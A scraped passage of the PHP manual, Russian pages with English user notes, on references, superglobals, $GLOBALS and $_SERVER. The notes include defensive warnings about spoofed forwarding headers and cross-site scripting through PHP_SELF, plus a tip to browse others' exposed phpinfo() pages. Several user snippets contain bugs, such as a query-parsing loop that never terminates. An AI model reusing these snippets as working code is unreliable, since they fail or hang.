    $bool = $val != $GLOBALS[$var];

    /**
     * Restore defaults values
     */
    foreach($tmpArray as $k => $v){
        $GLOBALS[$k] = $v;
    }

    return $bool;
}
var_dump(is_reference('a'));
var_dump(is_reference('b'));
var_dump(is_reference('c'));
var_dump(is_reference('d'));
?>

This won't check if reference is inside a array.
BenBE at omorphia dot de 07-Jan-2007 11:37
Hi,

If you want to check if two variables are referencing each other (i.e. point to the same memory) you can use a function like this:

<?php

function same_type(&$var1, &$var2){
    return gettype($var1) === gettype($var2);
}

function is_ref(&$var1, &$var2) {
    //If a reference exists, the type IS the same
    if(!same_type($var1, $var2)) {
        return false;
    }

    $same = false;

    //We now only need to ask for var1 to be an array ;-)
    if(is_array($var1)) {
        //Look for an unused index in $var1
        do {
            $key = uniqid("is_ref_", true);
        } while(array_key_exists($key, $var1));

        //The two variables differ in content ... They can't be the same
        if(array_key_exists($key, $var2)) {
            return false;
        }

        //The arrays point to the same data if changes are reflected in $var2
        $data = uniqid("is_ref_data_", true);
        $var1[$key] =& $data;
        //There seems to be a modification ...
        if(array_key_exists($key, $var2)) {
            if($var2[$key] === $data) {
                $same = true;
            }
        }

        //Undo our changes ...
        unset($var1[$key]);
    } elseif(is_object($var1)) {
        //The same objects are required to have equal class names ;-)
        if(get_class($var1) !== get_class($var2)) {
            return false;
        }

        $obj1 = array_keys(get_object_vars($var1));
        $obj2 = array_keys(get_object_vars($var2));

        //Look for an unused index in $var1
        do {
            $key = uniqid("is_ref_", true);
        } while(in_array($key, $obj1));

        //The two variables differ in content ... They can't be the same
        if(in_array($key, $obj2)) {
            return false;
        }

        //The arrays point to the same data if changes are reflected in $var2
        $data = uniqid("is_ref_data_", true);
        $var1->$key =& $data;
        //There seems to be a modification ...
        if(isset($var2->$key)) {
            if($var2[$key] === $data) {
                $same = true;
            }
        }

        //Undo our changes ...
        unset($var1->$key);
    } elseif (is_resource($var1)) {
        if(get_resource_type($var1) !== get_resource_type($var2)) {
            return false;
        }

        return ((string) $var1) === ((string) $var2);
    } else {
        //Simple variables ...
        if($var1!==$var2) {
            //Data mismatch ... They can't be the same ...
            return false;
        }

        //To check for a reference of a variable with simple type
        //simply store its old value and check against modifications of the second variable ;-)

        do {
            $key = uniqid("is_ref_", true);
        } while($key === $var1);

        $tmp = $var1; //WE NEED A COPY HERE!!!
        $var1 = $key; //Set var1 to the value of $key (copy)
        $same = $var1 === $var2; //Check if $var2 was modified too ...
        $var1 = $tmp; //Undo our changes ...
    }

    return $same;
}

?>

Although this implementation is quite complete, it can't handle function references and some other minor stuff ATM.
This function is especially useful if you want to serialize a recursive array by hand.

The usage is something like:
<?php
$a = 5;
$b = 5;
var_dump(is_ref($a, $b)); //false

$a = 5;
$b = $a;
var_dump(is_ref($a, $b)); //false

$a = 5;
$b =& $a;
var_dump(is_ref($a, $b)); //true
echo "---\n";

$a = array();
var_dump(is_ref($a, $a)); //true

$a[] =& $a;
var_dump(is_ref($a, $a[0])); // true
echo "---\n";

$b = array(array());
var_dump(is_ref($b, $b)); //true
var_dump(is_ref($b, $b[0])); //false
echo "---\n";

$b = array();
$b[] = $b;
var_dump(is_ref($b, $b)); //true
var_dump(is_ref($b, $b[0])); //false
var_dump(is_ref($b[0], $b[0][0])); //true*
echo "---\n";

var_dump($a);
var_dump($b);

?>

* Please note the internal behaviour of PHP that seems to do the reference assignment BEFORE actually copying the variable!!! Thus you get an array containing a (different) recursive array for the last testcase, instead of an array containing an empty array as you could expect.

BenBE.
ludvig dot ericson at gmail dot com 27-Feb-2006 03:36
For the sake of clarity:

$this is a PSEUDO VARIABLE - thus not a real variable. ZE treats is in other ways then normal variables, and that means that some advanced variable-things won't work on it (for obvious reasons):

<?php
class Test {
    var $monkeys = 0;

    function doFoobar() {
        $var = "this";
        $$var->monkeys++; // Will fail on this line.
    }
}

$obj = new Test;
$obj->doFoobar(); // Will fail in this call.
var_dump($obj->monkeys); // Will return int(0) if it even reaches here.
?>
ksamvel at gmail dot com 10-Feb-2006 09:02
One may check reference to any object by simple operator==( object). Example:

<?php
  class A {}

  $oA1 = new A();

  $roA = & $oA1;

  echo "roA and oA1 are " . ( $roA == $oA1 ? "same" : "not same") . "<br>";

  $oA2 = new A();
  $roA = & $roA2;

  echo "roA and oA1 are " . ( $roA == $oA1 ? "same" : "not same") . "<br>";
?>

Output:

roA and oA1 are same
roA and oA1 are not same

Current technique might be useful for caching in objects when inheritance is used and only base part of extended class should be copied (analog of C++: oB = oA):

<?php
class A {
  /* Any function changing state of A should set $bChanged to true */
  public function isChanged() { return $this->bChanged; }
  private $bChanged;
  //...
}

class B extends A {
// ...
  public function set( &$roObj) {
    if( $roObj instanceof A) {
      if( $this->roAObj == $roObj &&
          $roObj->isChanged()) {
        /* Object was not changed do not need to copy A part of B */
      } else {
        /* Copy A part of B */
        $this->roAObj = &$roObj;
      }
    }
  }

  private $roAObj;
}
?>
Sergio Santana: ssantana at tlaloc dot imta dot mx 16-Dec-2005 08:41
*** WARNING about OBJECTS TRICKY REFERENCES ***
-----------------------------------------------
The use of references in the context of classes
and objects, though well defined in the documentation,
is somehow tricky, so one must be very careful when
using objects. Let's examine the following two
examples:

<?php
  class y {
    public $d;
  }

  $A = new y;
  $A->d = 18;
  echo "Object \$A before operation:\n";
  var_dump($A);

  $B = $A; // This is not an explicit (=&) reference assignment,
           // however, $A and $B refer to the same instance
           // though they are not equivalent names
  $C =& $A; // Explicit reference assignment, $A and $C refer to
            // the same instance and they have become equivalent
            // names of the same instance

  $B->d = 1234;

  echo "\nObject \$B after operation:\n";
  var_dump($B);
  echo "\nObject \$A implicitly modified after operation:\n";
  var_dump($A);
  echo "\nObject \$C implicitly modified after operation:\n";
  var_dump($C);

  // Let's make $A refer to another instance
  $A = new y;
  $A->d = 25200;
  echo "\nObject \$B after \$A modification:\n";
  var_dump($B); // $B doesn't change
  echo "\nObject \$A after \$A modification:\n";
  var_dump($A);
  echo "\nObject \$C implicitly modified after \$A modification:\n";
  var_dump($C); // $C changes as $A changes
?>

Thus, note the difference between assignments $X = $Y and $X =& $Y.
When $Y is anything but an object instance, the first assignment means
that $X will hold an independent copy of $Y, and the second, means that
$X and $Y will refer to the same thing, so they are tight together until
either $X or $Y is forced to refer to another thing. However, when $Y
happens to be an object instance, the semantic of $X = $Y changes and
becomes only slightly different to that of $X =& $Y, since in both
cases $X and $Y become references to the same object. See what this
example outputs:

Object $A before operation:
object(y)#1 (1) {
  ["d"]=>
  int(18)
}

Object $B after operation:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $A implicitly modified after operation:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $C implicitly modified after operation:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $B after $A modification:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $A after $A modification:
object(y)#2 (1) {
  ["d"]=>
  int(25200)
}

Object $C implicitly modified after $A modification:
object(y)#2 (1) {
  ["d"]=>
  int(25200)
}

Let's review a SECOND EXAMPLE:
<?php
  class yy {
    public $d;
    function yy($x) {
      $this->d = $x;
    }
  }

  function modify($v)
  {
     $v->d = 1225;
  }

  $A = new yy(3);
  var_dump($A);
  modify($A);
  var_dump($A);
?>

Although, in general, a formal argument declared
as $v in the function 'modify' shown above, implies
that the actual argument $A, passed when calling
the function, is not modified, this is not the
case when $A is an object instance. See what the
example code outputs when executed:

object(yy)#3 (1) {
  ["d"]=>
  int(3)
}
object(yy)#3 (1) {
  ["d"]=>
  int(1225)
}
Sergio Santana: ssantana at tlaloc dot imta dot mx 10-Aug-2005 09:30
Sometimes an object's method returning a reference to itself is required. Here is a way to code it:

<?php
class MyClass {
  public $datum;
  public $other;

  function &MyRef($d) { // the method
    $this->datum = $d;
    return $this; // returns the reference
  }
}

$a = new MyClass;
$b = $a->MyRef(25); // creates the reference

echo "This is object \$a: \n";
print_r($a);
echo "This is object \$b: \n";
print_r($b);

$b->other = 50;

echo "This is object \$a, modified" .
     " indirectly by modifying ref \$b: \n";
print_r($a);
?>

This code outputs:
This is object $a:
MyClass Object
(
    [datum] => 25
    [other] =>
)
This is object $b:
MyClass Object
(
    [datum] => 25
    [other] =>
)
This is object $a, modified indirectly by modifying ref $b:
MyClass Object
(
    [datum] => 25
    [other] => 50
)


Предопределённые переменные

PHP предоставляет всем скриптам большое количество предопределённых переменных. Эти переменные содержат всё, от внешних данных до переменных среды окружения, от текста сообщений об ошибках до последних полученных заголовков.

Содержание

  • Суперглобальные переменные — Встроенные переменные, которые всегда доступны во всех областях
  • $GLOBALS — Ссылки на все переменные глобальной области видимости
  • $_SERVER — Информация о сервере и среде исполнения
  • $_GET — Переменные HTTP GET
  • $_POST — Переменные HTTP POST
  • $_FILES — Переменные файлов, загруженных по HTTP
  • $_REQUEST — Переменные HTTP-запроса
  • $_SESSION — Переменные сессии
  • $_ENV — Переменные окружения
  • $_COOKIE — HTTP Cookies
  • $php_errormsg — Предыдущее сообщение об ошибке
  • $http_response_header — Заголовки ответов HTTP
  • $argc — Количество аргументов, переданных скрипту
  • $argv — Массив переданных скрипту аргументов

User Contributed Notes

dusted at dusted dot dk 15-Mar-2011 02:32
I use HTTP_X_FORWARDED_FOR because my webserver is behind a reverse proxy.
This can be made secure:
Configure the reverse proxy to block this field, and override it correctly.
Configure the apache server to only accept incoming connections from the reverse proxy.
autofei at gmail dot com 17-Jun-2010 05:57
if you try to run php through command line, for example: php.exe c:\AppServ\www\cron_cache.php. You better avoid to use $_SERVER['DOCUMENT_ROOT'], because it will return nothing. Instead, you can use dirname(__FILE__). The reason to use command line running php is set it as Windows Scheduled Tasks. I did not test under Linux environment, but might be same.
spamtrap at scottydm dot com 12-Feb-2008 06:15
I was a little frustrated by the fact that some of the _SERVER variables didn't seem to exist, so I did a bit of Googling and found the answer: many of these variables are supplied by the web server and not all web servers supply the same set of variables.

I found a comparison between Apache v1.3.29 and IIS v5.1 on this page: http://koivi.com/apache-iis-php-server-array.php Useful for those of us doing cross-platform development.

While running experiments with different browsers I noticed some of the HTTP_* variables come and go depending on the browser used, or in the case of Opera by diddling the "user mode" (the widget that lets you look at a page as text only, etc.). For example: in IE and Opera HTTP_KEEP_ALIVE was missing, but was present in Firefox and Mozilla, and when I fiddled with Opera's "user mode" I got somethings called HTTP_TE and HTTP_CACHE_CONTROL.

So, what you get is dependent on the web server AND the browser.

I did see one IIS supplied variable not on that list: REQUEST_TIME, which seems to be in Unix timestamp format.

While researching this I discovered there are plenty of people who have their phpinfo() page visible and indexed on a few search engines. For those who want to dig a bit deeper than that nice web page comparing Apache to IIS, looking at other peoples' phpinfo() pages could be useful. You get the version of PHP plus OS and web server they use, along with all the _SERVER variables. I found the highest percent of signal-to-noise by searching for "phpinfo()" (with the quotes) on Dogpile: http://www.dogpile.com/
php-net dot ucn dot extranet dot sys at dark-chiaki dot net 13-Dec-2007 08:40
In addition to mfyahya at gmail dot com (2007-06-07 03:33):

If You are working with the Apache module mod_rewrite and want to set some environment vars, the Apache manual says this vars could be accessed in CGI using $ENV{VAR}. In PHP You might want to write $_ENV['VAR'] to get the value of VAR, but You have to access if via $_SERVER, and in some different ways:

1. Example: .htaccess and example.php

RewriteEngine on
RewriteRule ^?var1=([^;]*);var2=([^;]*)$ \
 - [E=VAR1:$1,E=VAR2:$2]

<?php echo($_SERVER['VAR1']."\r\n"
          .$_SERVER['VAR2']); ?>

2. Example: .htaccess and index.php

RewriteEngine on
RewriteRule ^index\.php$ - [L]
RewriteRule ?var1=([^;]*);var2=([^;]*)$ \
 index.php [E=VAR1:$1,E=VAR2:$2]

<?php echo($_SERVER['REDIRECT_VAR1']."\r\n"
          .$_SERVER['REDIRECT_VAR2']); ?>

Note: If any RewriteRule matches, an internal redirect than restarts (after the last defined rule, or immediately after the matched rule having a L-flag) checking the entire rule set again. For an internal redirect every defined VAR gets an 'REDIRECT_' prefix, i.e. VAR1 will be REDIRECT_VAR1, VAR2 will be REDIRECT_VAR2.

Of course, You can (additionally) redefine the original VAR:

RewriteEngine on
RewriteRule ^index\.php$ \
 - [E=VAR1:%{REDIRECT_VAR1},E=VAR2:%{REDIRECT_VAR2},L]
RewriteRule ?var1=([^;]*);var2=([^;]*)$ \
 index.php [E=VAR1:$1,E=VAR2:$2]

With this, You will have $_SERVER['REDIRECT_VAR*'] -and- $_SERVER['VAR*'].

***

The given examples are only for explanation, in any case they are not intended to fit Your needs. The "\<CRLF><SP>" in the .htaccess examples are only for display purpose, they should not occur in a real .htaccess file. The argument separator ';' in links can also be '&', but this may cause some trouble with HTML/XHTML. See the following pages for more information about this issue:
- http://www.w3.org/TR/html4/appendix/notes.html#h-B.2.2
- http://www.w3.org/QA/2005/04/php-session
Nicolae Namolovan 22-Nov-2007 11:49
SECURITY RISK !

Never ever trust the values that comes from $_SERVER.

HTTP_X_FORWARDED, HTTP_X_FORWARDED_FOR, HTTP_FORWARDED_FOR, HTTP_FORWARDED, etc.. can be spoofed !

To get the ip of user, use only $_SERVER['REMOTE_ADDR'], otherwise the 'ip' of user can be easily changed by sending a HTTP_X_* header, so user can escape a ban or spoof a trusted ip.

Of course this is well know, but I don't see it mentioned in these notes..

If you use the ip only for tracking (not for any security features like banning or allow access to something by ip), you can also use HTTP_X_FORWARDED to get user's ip what are behind proxy.
jsan 19-Oct-2007 12:39
@White-Gandalf: one can control this behavior by setting:

UseCanonicalName On|Off

in their apache config (at least, on *ix platforms).

On => $_SERVER['SERVER_NAME'] is the ServerName var from either the global server or virtual host, whichever wraps the PHP app closest.

Off => Whatever was in the Host: header sent by the client.
danvasile at pentest dot ro 21-Mar-2007 12:22
If you have problems with $_SERVER['HTTPS'], especially if it returns no values at all you should check the results of phpinfo(). It might not be listed at all.
Here is a solution to check and change, if necessary, to ssl/https that will work in all cases:

<?php
if ($_SERVER['SERVER_PORT']!=443) {
$sslport=443; //whatever your ssl port is
$url = "https://". $_SERVER['SERVER_NAME'] . ":" . $sslport . $_SERVER['REQUEST_URI'];
header("Location: $url");
}
?>

Of course, this should be done before any html tag or php echo/print.
Joe Marty 24-Jan-2007 11:53
I think it is very important to note that PHP will automatically replace dots ('.') AND spaces (' ') with underscores ('_') in any incoming POST or GET (or REQUEST) variables.

This page notes the dot replacement, but not the space replacement:
http://us2.php.net/manual/en/language.variables.external.php

The reason is that '.' and ' ' are not valid characters to use in a variable name.  This is confusing to many people, because most people use the format $_POST['name'] to access these values.  In this case, the name is not used as a variable name but as an array index, in which those characters are valid.

However, if the register_globals directive is set, these names must be used as variable names.  As of now, PHP converts the names for these variables before inserting them into the external variable arrays, unfortunately - rather than leaving them as they are for the arrays and changing the names only for the variables set by register_globals.

If you want to use:
<input name="title for page3.php" type="text">

The value you will get in your POST array, for isntance would be:
$_POST['title_for_page3_php']
jameslporter at gmail dot com 05-May-2006 12:19
Refer to CanonicalName if you are not getting the ServerName in the $_SERVER[SERVER_NAME] variable....This was a pain to figure out for me...now it works as expected by turning canonical naming on.

http://www.apacheref.com/ref/http_core/UseCanonicalName.html
Ben XO 14-Apr-2006 06:18
So you have an application in your web space, with a URL such as this:

http://<host>/<installation_path>/

and pages such as

http://<host>/<installation_path>/subfolder1/subfolder2/page.php

You have a file called config.php in <installation_path> which is include()d by all pages (in subfolders or not).

How to work out <installation_path> without hard-coding it into a config file?

<?php

// this is config.php, and it is in <installation_path>
// it is included by <installation_path>/page.php
// it is included by <installation_path>/subfolder/page2.php
// etc

$_REAL_SCRIPT_DIR = realpath(dirname($_SERVER['SCRIPT_FILENAME'])); // filesystem path of this page's directory (page.php)
$_REAL_BASE_DIR = realpath(dirname(__FILE__)); // filesystem path of this file's directory (config.php)
$_MY_PATH_PART = substr( $_REAL_SCRIPT_DIR, strlen($_REAL_BASE_DIR)); // just the subfolder part between <installation_path> and the page

$INSTALLATION_PATH = $_MY_PATH_PART
    ? substr( dirname($_SERVER['SCRIPT_NAME']), 0, -strlen($_MY_PATH_PART) )
    : dirname($_SERVER['SCRIPT_NAME'])
; // we subtract the subfolder part from the end of <installation_path>, leaving us with just <installation_path> :)

?>
todd dot kisov at yahoo dot com 03-Apr-2006 02:11
To convert query string parameter values ($_GET, $_REQUEST), which include escaped Unicode values resulting from applying the JavaScript "escape" function to a Unicode string (%uNNNN%uNNNN%uNNNN) fast and simple is to use PECL JSON extension:

function JavaScript_Unicode_URL_2_Str($js_uni_str) {
        $res = preg_replace('/%u([[:alnum:]]{4})/', '\\u\1', $js_uni_str);
        $res = str_replace('"', '\"', $res); // if in str "
        $res = json_decode('["'.$res.'"]'); // JavaScrip array with string element
        $res = $res[0];
        $res = iconv('UTF-8', ini_get('default_charset'), $res);
        return $res;
    }
31-Mar-2006 09:56
I was unable to convince my hosting company to change their installation of PHP and therefore had to find my own way to computer $_SERVER["DOCUMENT_ROOT"].  I eventually settled on the following, which is a combination of earlier notes (with some typos corrected):

<?php
if ( ! isset($_SERVER['DOCUMENT_ROOT'] ) )
  $_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr(
    $_SERVER['SCRIPT_FILENAME'], 0, 0-strlen($_SERVER['PHP_SELF']) ) );
?>
Aardvark 07-Mar-2006 01:35
$_GET may not handle query string parameter values which include escaped Unicode values resulting from applying the JavaScript "escape" function to a Unicode string.
To handle this the query parameter value can be obtained  using a function such as:

function getQueryParameter ($strParam) {
  $aParamList = explode('&', $_SERVER['QUERY_STRING']);
  $i = 0;
  while ($i < count($aParamList)) {
    $aParam = split('=', $aParamList[$i]);
    if ($strParam == $aParam[0]) {
      return $aParam[1];
    }
  }
  return "";
}

or by directly building an array or query string values and then processing the parameter string using a function such as the "unescape" function which can be found at http://www.kanolife.com/escape/2006/03/unicode-url-escapes-in-php.html (or http://www.kanolife.com/escape/ for related info).
justin dot (nospam)george at gmail dot com 28-Feb-2006 12:00
Note that it's a very, very bad idea to append to global variables in a loop, unless you really, really mean to do so in a global context. I just a while ago hung my server with a snippet of code like this:

<?php
$host  = $_SERVER['HTTP_HOST'];
$uri  = rtrim($_SERVER['PHP_SELF'], "/\\");

$GLOBALS['SITE_ROOT'] = "http://$host$uri";

while ($i < somenumber)
readfile($GLOBALS['SITE_ROOT'] = $GLOBALS['SITE_ROOT'] . '/this/file.php');
$i++
}
?>

While it is an entertaining and unusual method of creating very long URLs and breaking servers, it's a pretty awesomely bad idea

(Especially considering that the script in question ran concurrently with others of it's type, so the value in $GLOBALS['SITE_ROOT'] was unknown.)
nathan 22-Feb-2006 08:05
Also on using IPs to look up country & city, note that what you get might not be entirely accurate.  If their ISP is based in a different city or province/state, the IPs may be owned by the head office, and used across several areas.
You also have rarer situations where they might be SSHed into another server, on the road, at work, at a friend's...  It's a nice idea, but as the example code shows, it should only be used to set defaults.
drew dot griffiths at clare dot net 30-Sep-2005 08:51
Re: You can take advantage of 404 error to an usable redirection using REQUEST_URI ...

Whilst this is effective, a line in the .htaccess such as:

RewriteEngine On
RewriteRule ^profiles/([A-Za-z0-9-]+) showprofile.php?profile=$1 [L,NC,QSA]

will throw the requested profile in a variable $profile to the showprofile.php page.

You can further enhance the url (e.g http://servername/profiles/Jerry/homeaddress/index.htm) and the second variable value homeaddress becomes available in $url_array[3] when used below $url_array=explode("/",$_SERVER['REQUEST_URI']);

Hope this helps - Works well for me

Drew
Gregory Boshoff 31-Jul-2005 02:41
$_SERVER['QUERY_STRING']

Does not contain XHTML 1.1 compliant ampersands i.e. &amp;

So you will need to do something like this if you are to use $_SERVER['QUERY_STRING'] in URL's.

//  XHTML 1.1 compliant ampersands
$_SERVER['QUERY_STRING'] =
str_replace(array('&amp;', '&'), array('&', '&amp;'),
$_SERVER['QUERY_STRING']);
New York PHP 24-Jul-2005 06:59
Warning: $_SERVER['PHP_SELF'] can include arbitrary user input. The documentation should be updated to reflect this.

The request "http://example.com/info.php/attack%20here" will run /info.php, but in Apache $_SERVER['PHP_SELF'] will equal "/info.php/attack here". This is a feature, but it means that PHP_SELF must be treated as user input.

The attack string could contain urlencoded HTML and JavaScript (cross-site scripting) or it could contain urlencoded linebreaks (HTTP response-splitting).

The use of $_SERVER['SCRIPT_NAME'] is recommended instead.
daniel at softel dot jp 15-Jul-2005 11:43
Note that $php_errormsg may contain a newline character. This can be problematic if you are trying to output it with a JavaScript "alert()" for example.
mfyahya at gmail dot com 07-Jun-2005 06:33
If you use Apache's redirection features for custom error pages or whatever, the following Apache's REDIRECT variables are also available in $_SERVER:
$_SERVER['REDIRECT_UNIQUE_ID]'
$_SERVER['REDIRECT_SCRIPT_URL]'
$_SERVER['REDIRECT_SCRIPT_URI]'
$_SERVER['REDIRECT_SITE_ROOT]'
$_SERVER['REDIRECT_SITE_HTMLROOT]'
$_SERVER['REDIRECT_SITE_CGIROOT]'
$_SERVER['REDIRECT_STATUS]'
$_SERVER['REDIRECT_QUERY_STRING]'
$_SERVER['REDIRECT_URL]'

I'm not sure if this is a complete list though
Gregory Boshoff 13-Feb-2005 04:19
The Environment variable $ENV is useful for coding portable platform specific application constants.

// Define a Windows or else Linux root directory path
$_ENV['OS'] == 'Windows_NT' ? $path = 'L:\\www\\' : $path = ' /var/www/';

define('PATH', $path);

echo PATH;
marcus at lastcraft dot com 23-Jan-2005 04:02
The variable $php_errormsg is not populated if you have XDebug running.
mrnopersonality at yahoo dot com 19-Oct-2004 08:13
Nothing about the message-body ...

You can get cookies, session variables, headers, the request-uri , the request method, etc but not the message body. You may want it sometimes when your page is to be requested with the POST method.

Maybe they should have mentioned $HTTP_RAW_POST_DATA or php://stdin
youdontmeanmuch [at] yahoo.com 05-Apr-2004 09:20
Be carful when using $_SERVER['DOCUMENT_ROOT']; in your applications where you want to distribute them to other people with different server types. It isnt always supported by the webserver (IIS).
josh,endquote,com 03-Dec-2003 03:54
Running PHP 4.3 under IIS 5 on Windows XP, there is no $_SERVER['REQUEST_URI'] variable. This seems to fix it:

if(!isset($_SERVER['REQUEST_URI'])) {
    $_SERVER['REQUEST_URI'] = substr($_SERVER['argv'][0], strpos($_SERVER['argv'][0], ';') + 1);
}


Встроенные переменные, которые всегда доступны во всех областях

  • « Предопределённые переменные
  • $GLOBALS »
  • PHP Manual
  • Предопределённые переменные
  • Встроенные переменные, которые всегда доступны во всех областях

Суперглобальные переменные

Суперглобальные переменные — Встроенные переменные, которые всегда доступны во всех областях

Описание

Некоторые предопределённые переменные в PHP являются "суперглобальными", что означает, что они доступны в любом месте скрипта. Нет необходимости использовать синтаксис global $variable; для доступа к ним в функциях и методах.

Суперглобальными переменными являются:

  • $GLOBALS
  • $_SERVER
  • $_GET
  • $_POST
  • $_FILES
  • $_COOKIE
  • $_SESSION
  • $_REQUEST
  • $_ENV

Примечания

Замечание: Доступность переменных

По умолчанию все суперглобальные переменные доступны всегда, однако существуют настройки, которые могут на это влиять. За дальнейшей информацией обращайтесь к описанию директивы variables_order.

Замечание: Переменные переменных

Суперглобальные переменные не могут быть использованы в качестве переменных переменных внутри функций и методов.

Смотрите также

  • Область видимости переменной
  • Директива variables_order
  • "Фильтрация данных"

User Contributed Notes

greaties at ghvernuft dot nl 22-Apr-2023 11:15
two bugs fixed in Mife's comment, but then it works:

<?php
// You do need global in this special situation
function get_var($varname){
  global $$varname;
  var_dump( $$varname);
}

get_var('_POST');
?>
mife 05-Sep-2019 05:40
// You do need global in this special situation

function get_var($varname){
  global $$varname;
  echo $$varname;
}

show_var('_POST');
kitchin 14-May-2013 06:09
Since PHP 5.4, you cannot use a superglobal as the parameter to a function. This causes a fatal error:

function foo($_GET) {
  // whatever
}

It's called "shadowing" a superglobal, and I don't know why people ever did it, but I've seen it out there. The easy fix is just to rename the variable $get in the function, assuming that name is unique.

There was no deprecation warning issued in previous versions of PHP, according to my testing, neither in 5.3 nor 5.2. The error messages in 5.4 are:
Fatal error: Cannot re-assign auto-global variable _GET in...
Fatal error: Cannot re-assign auto-global variable _COOKIE in...
etc.


Ссылки на все переменные глобальной области видимости

  • « Суперглобальные переменные
  • $_SERVER »
  • PHP Manual
  • Предопределённые переменные
  • Ссылки на все переменные глобальной области видимости

$GLOBALS

(PHP 4, PHP 5, PHP 7, PHP 8)

$GLOBALS — Ссылки на все переменные глобальной области видимости

Описание

Ассоциативный массив (array), содержащий ссылки на все переменные, определённые в данный момент в глобальной области видимости скрипта. Имена переменных являются ключами массива.

Примеры

Пример #1 Пример использования $GLOBALS

<?php
function test() {
$foo = "локальная переменная";

echo '$foo в глобальной области видимости: ' . $GLOBALS["foo"] . "\n";
echo '$foo в текущей области видимости: ' . $foo . "\n";
}

$foo = "Пример содержимого";
test();
?>

Результатом выполнения данного примера будет что-то подобное:

$foo в глобальной области видимости: Пример содержимого
$foo в текущей области видимости: локальная переменная

Внимание

Начиная с PHP 8.1.0, доступ на запись ко всему массиву $GLOBALS больше не поддерживается:

Пример #2 запись всего $GLOBALS приведёт к ошибке

<?php
// Генерирует ошибку во время компиляции:
$GLOBALS = [];
$GLOBALS += [];
$GLOBALS =& $x;
$x =& $GLOBALS;
unset($GLOBALS);
array_pop($GLOBALS);
// ...и любые другие операции записи/чтения-записи в $GLOBALS
?>

Примечания

Замечание:

Это 'суперглобальная' или автоматическая глобальная переменная. Это просто означает, что она доступна во всех контекстах скрипта. Нет необходимости выполнять global $variable; для доступа к ней внутри метода или функции.

Замечание: Доступность переменной

В отличие от всех остальных суперглобальных переменных, $GLOBALS всегда доступна в PHP.

Замечание:

Начиная с PHP 8.1.0, массив $GLOBALS теперь является доступной только для чтения копией глобальной таблицы символов. То есть глобальные переменные не могут быть изменены с помощью его копии. Ранее массив $GLOBALS исключался из обычного поведения массивов PHP по значению и глобальные переменные можно было изменить с помощью его копии.

<?php
// До PHP 8.1.0
$a = 1;
$globals = $GLOBALS; // Как будто бы по значению копии
$globals['a'] = 2;
var_dump($a); // int(2)

// Начиная с PHP 8.1.0
// больше не изменяет значение $a. Предыдущее поведение нарушало семантику по значению
$globals = $GLOBALS;
$globals['a'] = 1;

// Чтобы восстановить предыдущее поведение, повторите его копию и присвойте каждому свойству значение $ GLOBALS.
foreach ($globals as $key => $value) {
$GLOBALS[$key] = $value;
}
?>

User Contributed Notes

inafeeur at gmail dot com 01-Dec-2022 08:25
We can be more clear with the extension of the given example.

Before PHP Version 8.1

<?php
  $a = 1;
  $globals = $GLOBALS;
  $globals['a'] = 2;
  echo $a; // 2
  echo $globals['a']; // 2
  echo $GLOBALS['a'];  // 2
?>

After PHP Version 8.1

<?php
  $a = 1;
  $globals = $GLOBALS;
  $globals['a'] = 2;
  echo $a; // 1
  echo $globals['a']; // 2
  echo $GLOBALS['a'];  // 1
?>
vittorio.zamparella at famous googlemail 20-Oct-2016 11:31
I finally found information about superglobals not being found in $GLOBALS:

https://bugs.php.net/bug.php?id=65223&edit=2
-------------------------------------
 [2013-07-09 12:00 UTC] johannes @php.net
[...]super-globals (aka. auto globals) are not added to symbol tables by default for performance reasons unless the parser sees need. i.e.

<?php
$_SERVER;
print_r($GLOBALS);
?>

will list it. You can also control this using auto_gloals_jit in php.ini: http://www.php.net/manual/en/ini.core.php#ini.auto-globals-jit
-------------------------------------

http://www.php.net/manual/en/language.variables.variable.php
-------------------------------------
Warning
Please note that variable variables cannot be used with PHP's Superglobal arrays within functions or class methods. The variable $this is also a special variable that cannot be referenced dynamically.
-------------------------------------
mstraczkowski at gmail dot com 11-Jun-2013 05:58
Watch out when you are trying to set $GLOBALS to the local variable.

Even without reference operator "&" your variable seems to be referenced to the $GLOBALS

You can test this behaviour using below code

<?php
/**
 * Result:
 * POST: B, Variable: C
 * GLOBALS: C, Variable: C
 */

// Testing $_POST
$_POST['A'] = 'B';

$nonReferencedPostVar = $_POST;
$nonReferencedPostVar['A'] = 'C';

echo 'POST: '.$_POST['A'].', Variable: '.$nonReferencedPostVar['A']."\n\n";

// Testing Globals
$GLOBALS['A'] = 'B';

$nonReferencedGlobalsVar = $GLOBALS;
$nonReferencedGlobalsVar['A'] = 'C';

echo 'GLOBALS: '.$GLOBALS['A'].', Variable: '.$nonReferencedGlobalsVar['A']."\n\n";
therandshow at gmail dot com 29-Jun-2011 06:32
As of PHP 5.4 $GLOBALS is now initialized just-in-time. This means there now is an advantage to not use the $GLOBALS variable as you can avoid the overhead of initializing it. How much of an advantage that is I'm not sure, but I've never liked $GLOBALS much anyways.


Информация о сервере и среде исполнения

  • « $GLOBALS
  • $_GET »
  • PHP Manual
  • Предопределённые переменные
  • Информация о сервере и среде исполнения

$_SERVER

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

$_SERVER — Информация о сервере и среде исполнения

Описание

Переменная $_SERVER - это массив (array), содержащий такую информацию, как заголовки, пути и местоположения скриптов. Записи в этом массиве создаются веб-сервером, поэтому нет гарантии, что каждый веб-сервер будет предоставлять любую из этих переменных; серверы могут опускать некоторые из них или предоставлять другие, не указанные здесь. Однако большинство из этих переменных учтены в спецификации » CGI/1.1 и, скорее всего, будут определены.

Замечание: При запуске PHP в командной строке большинство из этих записей будут недоступны или не будут иметь никакого значения.

В дополнение к перечисленным ниже элементам, PHP будет создавать дополнительные элементы со значениями из заголовков запросов. У элементов будет имя HTTP_, за которым следует имя заголовка, написанное с заглавной буквы и с подчёркиванием вместо дефиса. Например, заголовок Accept-Language будет доступен как $_SERVER['HTTP_ACCEPT_LANGUAGE'].

Индексы

'PHP_SELF'
Имя файла скрипта, который сейчас выполняется, относительно корня документов. Например, $_SERVER['PHP_SELF'] в скрипте по адресу http://example.com/foo/bar.php будет /foo/bar.php. Константа __FILE__ содержит полный путь и имя файла текущего (то есть подключённого) файла. Если PHP запущен в командной строке, эта переменная содержит имя скрипта.
'argv'
